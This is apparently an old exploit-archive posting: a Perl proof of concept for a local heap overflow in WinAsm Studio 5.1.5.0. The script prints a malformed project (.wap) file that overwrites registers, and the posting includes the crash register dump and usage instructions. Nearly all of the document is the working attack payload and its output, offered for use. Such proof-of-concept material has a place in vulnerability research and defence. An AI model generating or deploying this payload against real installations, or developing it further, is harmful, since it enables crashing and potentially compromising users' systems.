winasmstudio-overflow.txt
Posted on 16 March 2009
# WinAsm Studio 5.1.5.0 Local Heap Overflow Poc # By Mountassif Moad # D0wnload : http://www.winasm.net/index.php?ind=downloads&op=download_file&ide=182&file=WinAsm515Full.zip # Greatz : Simo-Soft - Skd - fl0 fl0w - Str0ke & By By milw0rm :d # # Registers # EAX 00000001 # ECX 00000001 # EDX 0013F814 # EBX 42424242 ( EBX overwrited :d ) # ESP 0013FBDC # EBP 0013FE3C # ESI 0013FBF7 # EDI 0013FD2F ASCII "BBBBBBBBBB" (next chars in EDI :d ) # EIP 0040A927 WinAsm.0040A927 my $m= "x5Bx46x49x4Cx45x53x5Dx0Dx31x3D". "x41" x 227 . "x42" x 4 . "x43" x 20 . "x0Dx5Bx50x52". "x4Fx4Ax45x43x54x5Dx0Dx54x79x70x65x3Dx0Dx52". "x65x6Cx65x61x73x65x43x6Fx6Dx6Dx61x6Ex64x4Cx69x6E". "x65x3Dx0Dx44x65x62x75x67x43x6Fx6Dx6Dx61x6Ex64". "x4Cx69x6Ex65x3Dx0Dx41x75x74x6Fx49x6Ex63x46x69". "x6Cx65x56x65x72x73x69x6Fx6Ex3Dx30x0Dx52x43x53". "x69x6Cx65x6Ex74x3Dx30x0Dx50x65x6Cx6Cx65x73x54". "x6Fx6Fx6Cx73x3Dx30x0Dx5Bx4Dx41x4Bx45x5Dx0D". "x41x63x74x69x76x65x42x75x69x6Cx64x3Dx30x0Dx43". "x6Fx6Dx70x69x6Cx65x52x43x3Dx0Dx52x43x54x6Fx4F". "x62x6Ax3Dx0Dx41x73x73x65x6Dx62x6Cx65x3Dx2Fx63". "x0Dx4Cx69x6Ex6Bx3Dx0Dx4Fx75x74x3Dx0Dx44". "x65x62x41x73x73x65x6Dx62x6Cx65x3Dx2Fx63x0Dx44". "x65x62x4Cx69x6Ex6Bx3Dx0Dx44x65x62x4Fx75x74x3D"; print $m; print " "; print " ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ "; print " +++ WinAsm Studio 5.1.5.0 Local Heap Overflow Poc +++ "; print " +++ Written By Stack +++ "; print " +++ Usage Ex.: perl $0 >>Exploit.wap +++ "; print " ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ "; exit;
